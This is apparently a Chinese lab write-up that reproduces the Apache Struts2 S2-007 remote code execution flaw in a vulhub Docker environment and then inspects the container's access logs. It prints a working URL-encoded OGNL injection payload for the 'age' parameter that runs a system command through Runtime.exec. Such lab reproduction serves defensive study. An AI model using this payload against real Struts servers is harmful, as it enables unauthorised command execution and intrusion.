一、漏洞简述:
       age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞。

       影响版本: 2.0.0 - 2.2.3

二、环境搭建

       vulhub里搭建环境(我发表过好多关于struts2漏洞的环境搭建,这些具体步骤都类似,详情前参考s2-045)

三、漏洞复现

       访问ip+8080端口(ip为环境搭建系统的ip)

       s2-007远程代码执行漏洞

       抓包后在age后面插入payload 语句   %27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27

    s2-007远程代码执行漏洞

   漏洞复现成功。

 四、查看日志

    docker ps   //查看正在运行镜像

    s2-007远程代码执行漏洞

    找到s2-007的地址

    s2-007远程代码执行漏洞

    docker exec -it 2803a8720502  /bin/bash      //进入到s2-007的文件里

     cd logs  //一般日志文件都在logs目录下

     s2-007远程代码执行漏洞

     日志分析:ip为192.168.0.149的主机通过http:1.1协议,在15/Nov/2019:08:41:23 时间下访问啦,use/action目录并回显200访问成功访问。

     

    

       

       

相关文章: